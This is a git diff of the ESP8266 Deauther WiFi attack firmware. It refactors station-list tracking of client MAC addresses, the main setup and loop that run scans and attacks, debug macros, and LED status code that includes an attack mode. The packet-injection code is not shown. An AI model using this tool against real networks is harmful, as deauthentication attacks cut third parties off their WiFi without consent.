||||
for (int i = 0; i < count(); i++) internal_deselect(i);
|
||||
prntln(ST_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Stations::count() {
|
||||
return list->size();
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Stations::selected() {
|
||||
int num = 0;
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
int num = 0;
|
||||
|
||||
for (int i = 0; i < count(); i++)
|
||||
if (getSelected(i)) num++;
|
||||
return num;
|
||||
}
|
||||
|
||||
bool Stations::check(int num) {
|
||||
if (internal_check(num)){
|
||||
return true;
|
||||
} else{
|
||||
prnt(ST_ERROR_ID);
|
||||
prntln(num);
|
||||
return false;
|
||||
}
|
||||
if (internal_check(num)) {
|
||||
return true;
|
||||
} else {
|
||||
prnt(ST_ERROR_ID);
|
||||
prntln(num);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
bool Stations::internal_check(int num) {
|
||||
return num >= 0 && num < list->size();
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Stations::internal_select(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
changedStation.selected = true;
|
||||
list->set(num, changedStation);
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = true;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_deselect(int num) {
|
||||
Station changedStation = list->get(num);
|
||||
changedStation.selected = false;
|
||||
list->set(num, changedStation);
|
||||
Station changedStation = list->get(num);
|
||||
|
||||
changedStation.selected = false;
|
||||
list->replace(num, changedStation);
|
||||
}
|
||||
|
||||
void Stations::internal_remove(int num) {
|
||||
free(getMac(num));
|
||||
free(getPkts(num));
|
||||
free(getTime(num));
|
||||
list->remove(num);
|
||||
free(getMac(num));
|
||||
free(getPkts(num));
|
||||
free(getTime(num));
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
|
||||
if (list->size() >= STATION_LIST_SIZE)
|
||||
removeOldest();
|
||||
if (count() >= STATION_LIST_SIZE) removeOldest();
|
||||
|
||||
Station newStation;
|
||||
newStation.ap = accesspointNum;
|
||||
newStation.ch = wifi_channel;
|
||||
newStation.mac = (uint8_t*)malloc(6);
|
||||
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.selected = false;
|
||||
Station newStation;
|
||||
|
||||
memcpy(newStation.mac, mac, 6);
|
||||
*newStation.pkts = 1;
|
||||
*newStation.time = currentTime;
|
||||
newStation.ap = accesspointNum;
|
||||
newStation.ch = wifi_channel;
|
||||
newStation.mac = (uint8_t*)malloc(6);
|
||||
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
|
||||
newStation.selected = false;
|
||||
|
||||
list->add(newStation);
|
||||
memcpy(newStation.mac, mac, 6);
|
||||
*newStation.pkts = 1;
|
||||
*newStation.time = currentTime;
|
||||
|
||||
list->add(newStation);
|
||||
}
|
||||
|
||||
void Stations::internal_removeAll() {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
free(getMac(i));
|
||||
free(getPkts(i));
|
||||
free(getTime(i));
|
||||
}
|
||||
list->clear();
|
||||
}
|
||||
int c = count();
|
||||
|
||||
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
free(getMac(i));
|
||||
free(getPkts(i));
|
||||
free(getTime(i));
|
||||
}
|
||||
list->clear();
|
||||
}
|
|
@ -1,93 +1,97 @@
|
|||
#ifndef Stations_h
|
||||
#define Stations_h
|
||||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "LinkedList.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Names.h"
|
||||
#include "language.h"
|
||||
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Names.h"
|
||||
|
||||
#define STATION_LIST_SIZE 60
|
||||
extern Accesspoints accesspoints;
|
||||
extern Names names;
|
||||
extern uint8_t wifi_channel;
|
||||
extern Names names;
|
||||
extern uint8_t wifi_channel;
|
||||
extern uint32_t currentTime;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern bool macMulticast(uint8_t* mac);
|
||||
extern bool macValid(uint8_t* mac);
|
||||
extern bool macBroadcast(uint8_t* mac);
|
||||
extern String bytesToStr(const uint8_t* b, uint32_t size);
|
||||
|
||||
class Stations {
|
||||
public:
|
||||
Stations();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void add(uint8_t* mac,int accesspointNum);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
void remove(int num);
|
||||
void removeOldest();
|
||||
|
||||
String getNameStr(int num);
|
||||
String getAPStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getMacVendorStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getTimeStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t* getMac(int num);
|
||||
uint32_t* getPkts(int num);
|
||||
uint32_t* getTime(int num);
|
||||
uint8_t getCh(int num);
|
||||
uint8_t getAP(int num);
|
||||
bool getSelected(int num);
|
||||
bool hasName(int num);
|
||||
public:
|
||||
Stations();
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
private:
|
||||
struct Station{
|
||||
uint8_t ap;
|
||||
uint8_t ch;
|
||||
uint8_t* mac;
|
||||
uint32_t* pkts;
|
||||
uint32_t* time;
|
||||
bool selected;
|
||||
};
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
LinkedList<Station>* list;
|
||||
void add(uint8_t* mac, int accesspointNum);
|
||||
|
||||
int findStation(uint8_t* mac);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
void removeOldest();
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, int accesspointNum);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
String getNameStr(int num);
|
||||
String getAPStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getMacVendorStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getTimeStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t* getAPMac(int num);
|
||||
String getAPMacStr(int num);
|
||||
uint8_t* getMac(int num);
|
||||
uint32_t* getPkts(int num);
|
||||
uint32_t* getTime(int num);
|
||||
uint8_t getCh(int num);
|
||||
int getAP(int num);
|
||||
bool getSelected(int num);
|
||||
bool hasName(int num);
|
||||
|
||||
#endif
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
struct Station {
|
||||
uint8_t ap;
|
||||
uint8_t ch;
|
||||
uint8_t * mac;
|
||||
uint32_t* pkts;
|
||||
uint32_t* time;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
SimpleList<Station>* list;
|
||||
|
||||
int findStation(uint8_t* mac);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_add(uint8_t* mac, int accesspointNum);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,41 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "config.h"
|
||||
|
||||
#include <climits> // LONG_MAX
|
||||
#include <Arduino.h> // Serial
|
||||
|
||||
#ifdef ENABLE_DEBUG
|
||||
|
||||
#define debug_init()\
|
||||
DEBUG_PORT.begin(DEBUG_BAUD);\
|
||||
DEBUG_PORT.setTimeout(LONG_MAX);\
|
||||
DEBUG_PORT.println();
|
||||
|
||||
#define debug(...) DEBUG_PORT.print(__VA_ARGS__)
|
||||
#define debugln(...) DEBUG_PORT.println(__VA_ARGS__)
|
||||
#define debugf(...) DEBUG_PORT.printf(__VA_ARGS__)
|
||||
#define debugF(...) DEBUG_PORT.print(F(__VA_ARGS__))
|
||||
#define debuglnF(...) DEBUG_PORT.println(F(__VA_ARGS__))
|
||||
|
||||
#define debug_available() DEBUG_PORT.available()
|
||||
#define debug_read() DEBUG_PORT.read()
|
||||
#define debug_peek() DEBUG_PORT.peek()
|
||||
|
||||
#else /* ifdef ENABLE_DEBUG */
|
||||
|
||||
#define debug_init() 0
|
||||
|
||||
#define debug(...) 0
|
||||
#define debugln(...) 0
|
||||
#define debugf(...) 0
|
||||
#define debugF(...) 0
|
||||
#define debuglnF(...) 0
|
||||
|
||||
#define debug_available() 0
|
||||
#define debug_read() 0
|
||||
#define debug_peek() 0
|
||||
|
||||
#endif /* ifdef ENABLE_DEBUG */
|
|
@ -1,171 +1,196 @@
|
|||
/*
|
||||
===========================================
|
||||
Copyright (c) 2018 Stefan Kremser
|
||||
github.com/spacehuhn
|
||||
===========================================
|
||||
*/
|
||||
#include <EEPROM.h>
|
||||
/* =====================
|
||||
This software is licensed under the MIT License:
|
||||
https://github.com/spacehuhntech/esp8266_deauther
|
||||
===================== */
|
||||
|
||||
extern "C" {
|
||||
// Please follow this tutorial:
|
||||
// https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide
|
||||
// And be sure to have the right board selected
|
||||
#include "user_interface.h"
|
||||
}
|
||||
|
||||
#include "EEPROMHelper.h"
|
||||
|
||||
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
|
||||
#if ARDUINOJSON_VERSION_MAJOR != 5
|
||||
// The software was build using ArduinoJson v5.x
|
||||
// version 6 is still in beta at the time of writing
|
||||
// go to tools -> manage libraries, search for ArduinoJSON and install version 5
|
||||
#error Please upgrade/downgrade ArduinoJSON library to version 5!
|
||||
#endif // if ARDUINOJSON_VERSION_MAJOR != 5
|
||||
|
||||
#include "oui.h"
|
||||
#include "language.h"
|
||||
#include "functions.h"
|
||||
#include "Settings.h"
|
||||
#include "settings.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "SerialInterface.h"
|
||||
#include "CLI.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "DigitalLed.h"
|
||||
#include "RGBLed.h"
|
||||
#include "Neopixel.h"
|
||||
#include "A_config.h"
|
||||
#include "webfiles.h"
|
||||
|
||||
#ifdef DIGITAL_LED
|
||||
DigitalLed led;
|
||||
#endif
|
||||
|
||||
#ifdef RGB_LED
|
||||
RGBLed led;
|
||||
#endif
|
||||
|
||||
#ifdef NEOPIXEL_LED
|
||||
Neopixel led;
|
||||
#endif
|
||||
#include "led.h"
|
||||
|
||||
// Run-Time Variables //
|
||||
Settings settings;
|
||||
Names names;
|
||||
SSIDs ssids;
|
||||
Accesspoints accesspoints;
|
||||
Stations stations;
|
||||
Scan scan;
|
||||
Stations stations;
|
||||
Scan scan;
|
||||
Attack attack;
|
||||
SerialInterface serialInterface;
|
||||
CLI cli;
|
||||
DisplayUI displayUI;
|
||||
|
||||
simplebutton::Button* resetButton;
|
||||
|
||||
#include "wifi.h"
|
||||
|
||||
uint32_t autosaveTime = 0;
|
||||
uint32_t currentTime = 0;
|
||||
uint32_t currentTime = 0;
|
||||
|
||||
bool booted = false;
|
||||
|
||||
void setup() {
|
||||
// "fix" for RGB LEDs
|
||||
analogWriteRange(0xff);
|
||||
|
||||
// for random generator
|
||||
randomSeed(os_random());
|
||||
|
||||
// start serial
|
||||
Serial.begin(115200);
|
||||
Serial.println();
|
||||
// for random generator
|
||||
randomSeed(os_random());
|
||||
|
||||
// start SPIFFS
|
||||
prnt(SETUP_MOUNT_SPIFFS);
|
||||
prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR);
|
||||
// start serial
|
||||
Serial.begin(115200);
|
||||
Serial.println();
|
||||
|
||||
// Start EEPROM
|
||||
EEPROM.begin(4096);
|
||||
// start SPIFFS
|
||||
prnt(SETUP_MOUNT_SPIFFS);
|
||||
// bool spiffsError = !LittleFS.begin();
|
||||
LittleFS.begin();
|
||||
prntln(/*spiffsError ? SETUP_ERROR : */ SETUP_OK);
|
||||
|
||||
// auto repair when in boot-loop
|
||||
uint8_t bootCounter = EEPROM.read(0);
|
||||
if(bootCounter >= 3){
|
||||
// Start EEPROM
|
||||
EEPROMHelper::begin(EEPROM_SIZE);
|
||||
|
||||
#ifdef FORMAT_SPIFFS
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
SPIFFS.format();
|
||||
LittleFS.format();
|
||||
prntln(SETUP_OK);
|
||||
}else{
|
||||
EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter
|
||||
EEPROM.commit();
|
||||
}
|
||||
|
||||
// get time
|
||||
currentTime = millis();
|
||||
|
||||
// start WiFi
|
||||
WiFi.mode(WIFI_OFF);
|
||||
wifi_set_opmode(STATION_MODE);
|
||||
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
|
||||
scan.sniffer(buf, len);
|
||||
});
|
||||
|
||||
// load settings
|
||||
settings.load();
|
||||
|
||||
// start display
|
||||
if (settings.getDisplayInterface()){
|
||||
displayUI.setup();
|
||||
displayUI.mode = SCREEN_MODE_INTRO;
|
||||
}
|
||||
#endif // ifdef FORMAT_SPIFFS
|
||||
|
||||
// copy web files to SPIFFS
|
||||
copyWebFiles(false);
|
||||
|
||||
// load everything else
|
||||
names.load();
|
||||
ssids.load();
|
||||
serialInterface.load();
|
||||
#ifdef FORMAT_EEPROM
|
||||
prnt(SETUP_FORMAT_EEPROM);
|
||||
EEPROMHelper::format(EEPROM_SIZE);
|
||||
prntln(SETUP_OK);
|
||||
#endif // ifdef FORMAT_EEPROM
|
||||
|
||||
// create scan.json
|
||||
scan.setup();
|
||||
// Format SPIFFS when in boot-loop
|
||||
if (/*spiffsError || */ !EEPROMHelper::checkBootNum(BOOT_COUNTER_ADDR)) {
|
||||
prnt(SETUP_FORMAT_SPIFFS);
|
||||
LittleFS.format();
|
||||
prntln(SETUP_OK);
|
||||
|
||||
// set LED
|
||||
led.setup();
|
||||
prnt(SETUP_FORMAT_EEPROM);
|
||||
EEPROMHelper::format(EEPROM_SIZE);
|
||||
prntln(SETUP_OK);
|
||||
|
||||
// set channel
|
||||
setWifiChannel(settings.getChannel());
|
||||
EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);
|
||||
}
|
||||
|
||||
// load Wifi settings: SSID, password,...
|
||||
loadWifiConfigDefaults();
|
||||
|
||||
// dis/enable serial command interface
|
||||
if (settings.getSerialInterface()) {
|
||||
serialInterface.enable();
|
||||
} else {
|
||||
prntln(SETUP_SERIAL_WARNING);
|
||||
Serial.flush();
|
||||
Serial.end();
|
||||
}
|
||||
// get time
|
||||
currentTime = millis();
|
||||
|
||||
// start access point/web interface
|
||||
if (settings.getWebInterface()) startAP();
|
||||
// load settings
|
||||
#ifndef RESET_SETTINGS
|
||||
settings::load();
|
||||
#else // ifndef RESET_SETTINGS
|
||||
settings::reset();
|
||||
settings::save();
|
||||
#endif // ifndef RESET_SETTINGS
|
||||
|
||||
// STARTED
|
||||
prntln(SETUP_STARTED);
|
||||
wifi::begin();
|
||||
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
|
||||
scan.sniffer(buf, len);
|
||||
});
|
||||
|
||||
// version
|
||||
prntln(settings.getVersion());
|
||||
// start display
|
||||
if (settings::getDisplaySettings().enabled) {
|
||||
displayUI.setup();
|
||||
displayUI.mode = DISPLAY_MODE::INTRO;
|
||||
}
|
||||
|
||||
// load everything else
|
||||
names.load();
|
||||
ssids.load();
|
||||
cli.load();
|
||||
|
||||
// create scan.json
|
||||
scan.setup();
|
||||
|
||||
// dis/enable serial command interface
|
||||
if (settings::getCLISettings().enabled) {
|
||||
cli.enable();
|
||||
} else {
|
||||
prntln(SETUP_SERIAL_WARNING);
|
||||
Serial.flush();
|
||||
Serial.end();
|
||||
}
|
||||
|
||||
// start access point/web interface
|
||||
if (settings::getWebSettings().enabled) wifi::startAP();
|
||||
|
||||
// STARTED
|
||||
prntln(SETUP_STARTED);
|
||||
|
||||
// version
|
||||
prntln(DEAUTHER_VERSION);
|
||||
|
||||
// setup LED
|
||||
led::setup();
|
||||
|
||||
// setup reset button
|
||||
resetButton = new ButtonPullup(RESET_BUTTON);
|
||||
}
|
||||
|
||||
void loop() {
|
||||
currentTime = millis();
|
||||
currentTime = millis();
|
||||
|
||||
wifiUpdate(); // manage access point
|
||||
led::update(); // update LED color
|
||||
wifi::update(); // manage access point
|
||||
attack.update(); // run attacks
|
||||
displayUI.update();
|
||||
cli.update(); // read and run serial input
|
||||
scan.update(); // run scan
|
||||
ssids.update(); // run random mode, if enabled
|
||||
|
||||
attack.update(); // run attacks
|
||||
displayUI.update();
|
||||
serialInterface.update(); // read and run serial input
|
||||
scan.update(); // run scan
|
||||
ssids.update(); // run random mode, if enabled
|
||||
led.update(); // update LED color
|
||||
// auto-save
|
||||
if (settings::getAutosaveSettings().enabled
|
||||
&& (currentTime - autosaveTime > settings::getAutosaveSettings().time)) {
|
||||
autosaveTime = currentTime;
|
||||
names.save(false);
|
||||
ssids.save(false);
|
||||
settings::save(false);
|
||||
}
|
||||
|
||||
// auto-save
|
||||
if (settings.getAutosave() && currentTime - autosaveTime > settings.getAutosaveTime()) {
|
||||
autosaveTime = currentTime;
|
||||
names.save(false);
|
||||
ssids.save(false);
|
||||
settings.save(false);
|
||||
}
|
||||
if (!booted) {
|
||||
booted = true;
|
||||
EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);
|
||||
#ifdef HIGHLIGHT_LED
|
||||
displayUI.setupLED();
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
}
|
||||
|
||||
if(!booted){
|
||||
// reset boot counter
|
||||
EEPROM.write(0, 0);
|
||||
EEPROM.commit();
|
||||
booted = true;
|
||||
}
|
||||
resetButton->update();
|
||||
if (resetButton->holding(5000)) {
|
||||
led::setMode(LED_MODE::SCAN);
|
||||
DISPLAY_MODE _mode = displayUI.mode;
|
||||
displayUI.mode = DISPLAY_MODE::RESETTING;
|
||||
displayUI.update(true);
|
||||
|
||||
settings::reset();
|
||||
settings::save(true);
|
||||
|
||||
delay(2000);
|
||||
|
||||
led::setMode(LED_MODE::IDLE);
|
||||
displayUI.mode = _mode;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,135 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "led.h"
|
||||
|
||||
#include "A_config.h" // Config for LEDs
|
||||
#include <Arduino.h> // digitalWrite, analogWrite, pinMode
|
||||
#include "language.h" // Strings used in printColor and tempDisable
|
||||
#include "settings.h" // used in update()
|
||||
#include "Attack.h" // used in update()
|
||||
#include "Scan.h" // used in update()
|
||||
|
||||
// Inlcude libraries for Neopixel or LED_MY92xx if used
|
||||
#if defined(LED_NEOPIXEL)
|
||||
#include "src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.h"
|
||||
#elif defined(LED_MY92)
|
||||
#include "src/my92xx-3.0.3/my92xx.h"
|
||||
#elif defined(LED_DOTSTAR)
|
||||
#include "src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.h"
|
||||
#endif // if defined(LED_NEOPIXEL)
|
||||
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
|
||||
namespace led {
|
||||
// ===== PRIVATE ===== //
|
||||
LED_MODE mode = OFF;
|
||||
|
||||
#if defined(LED_NEOPIXEL_RGB)
|
||||
Adafruit_NeoPixel strip { LED_NUM, LED_NEOPIXEL_PIN, NEO_RGB + NEO_KHZ800 };
|
||||
#elif defined(LED_NEOPIXEL_GRB)
|
||||
Adafruit_NeoPixel strip { LED_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800 };
|
||||
#elif defined(LED_MY92)
|
||||
my92xx myled { LED_MY92_MODEL, LED_NUM, LED_MY92_DATA, LED_MY92_CLK, MY92XX_COMMAND_DEFAULT };
|
||||
#elif defined(LED_DOTSTAR)
|
||||
Adafruit_DotStar strip { LED_NUM, LED_DOTSTAR_DATA, LED_DOTSTAR_CLK, DOTSTAR_BGR };
|
||||
#endif // if defined(LED_NEOPIXEL_RGB)
|
||||
|
||||
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
#if defined(LED_DIGITAL)
|
||||
if (LED_ANODE) {
|
||||
if (LED_PIN_R < 255) digitalWrite(LED_PIN_R, r > 0);
|
||||
if (LED_PIN_G < 255) digitalWrite(LED_PIN_G, g > 0);
|
||||
if (LED_PIN_B < 255) digitalWrite(LED_PIN_B, b > 0);
|
||||
} else {
|
||||
if (LED_PIN_R < 255) digitalWrite(LED_PIN_R, r == 0);
|
||||
if (LED_PIN_G < 255) digitalWrite(LED_PIN_G, g == 0);
|
||||
if (LED_PIN_B < 255) digitalWrite(LED_PIN_B, b == 0);
|
||||
}
|
||||
#elif defined(LED_RGB)
|
||||
if (r > 0) r = r * LED_MODE_BRIGHTNESS / 100;
|
||||
if (g > 0) g = g * LED_MODE_BRIGHTNESS / 100;
|
||||
if (b > 0) b = b * LED_MODE_BRIGHTNESS / 100;
|
||||
|
||||
if (LED_ANODE) {
|
||||
r = 255 - r;
|
||||
g = 255 - g;
|
||||
b = 255 - b;
|
||||
}
|
||||
|
||||
analogWrite(LED_PIN_R, r);
|
||||
analogWrite(LED_PIN_G, g);
|
||||
analogWrite(LED_PIN_B, b);
|
||||
#elif defined(LED_NEOPIXEL) || defined(LED_DOTSTAR)
|
||||
|
||||
for (size_t i = 0; i < strip.numPixels(); i++) {
|
||||
strip.setPixelColor(i, r, g, b);
|
||||
}
|
||||
|
||||
strip.show();
|
||||
#elif defined(LED_MY9291)
|
||||
myled.setChannel(LED_MY92_CH_R, r);
|
||||
myled.setChannel(LED_MY92_CH_G, g);
|
||||
myled.setChannel(LED_MY92_CH_B, b);
|
||||
myled.setChannel(LED_MY92_CH_BRIGHTNESS, LED_MODE_BRIGHTNESS);
|
||||
myled.setState(true);
|
||||
myled.update();
|
||||
#endif // if defined(LED_DIGITAL)
|
||||
}
|
||||
|
||||
// ===== PUBLIC ===== //
|
||||
void setup() {
|
||||
analogWriteRange(0xff);
|
||||
|
||||
#if defined(LED_DIGITAL) || defined(LED_RGB)
|
||||
if (LED_PIN_R < 255) pinMode(LED_PIN_R, OUTPUT);
|
||||
if (LED_PIN_G < 255) pinMode(LED_PIN_G, OUTPUT);
|
||||
if (LED_PIN_B < 255) pinMode(LED_PIN_B, OUTPUT);
|
||||
#elif defined(LED_NEOPIXEL) || defined(LED_DOTSTAR)
|
||||
strip.begin();
|
||||
strip.setBrightness(LED_MODE_BRIGHTNESS);
|
||||
strip.show();
|
||||
#elif defined(LED_MY9291)
|
||||
myled.setChannel(LED_MY92_CH_R, 0);
|
||||
myled.setChannel(LED_MY92_CH_G, 0);
|
||||
myled.setChannel(LED_MY92_CH_B, 0);
|
||||
myled.setChannel(LED_MY92_CH_BRIGHTNESS, LED_MODE_BRIGHTNESS);
|
||||
myled.setState(true);
|
||||
myled.update();
|
||||
#endif // if defined(LED_DIGITAL) || defined(LED_RGB)
|
||||
}
|
||||
|
||||
void update() {
|
||||
if (!settings::getLEDSettings().enabled) {
|
||||
setMode(OFF);
|
||||
} else if (scan.isScanning() && (scan.deauths < settings::getSnifferSettings().min_deauth_frames)) {
|
||||
setMode(SCAN);
|
||||
} else if (attack.isRunning()) {
|
||||
setMode(ATTACK);
|
||||
} else {
|
||||
setMode(IDLE);
|
||||
}
|
||||
}
|
||||
|
||||
void setMode(LED_MODE new_mode, bool force) {
|
||||
if ((new_mode != mode) || force) {
|
||||
mode = new_mode;
|
||||
|
||||
switch (mode) {
|
||||
case OFF:
|
||||
setColor(LED_MODE_OFF);
|
||||
break;
|
||||
case SCAN:
|
||||
setColor(LED_MODE_SCAN);
|
||||
break;
|
||||
case ATTACK:
|
||||
setColor(LED_MODE_ATTACK);
|
||||
break;
|
||||
case IDLE:
|
||||
setColor(LED_MODE_IDLE);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue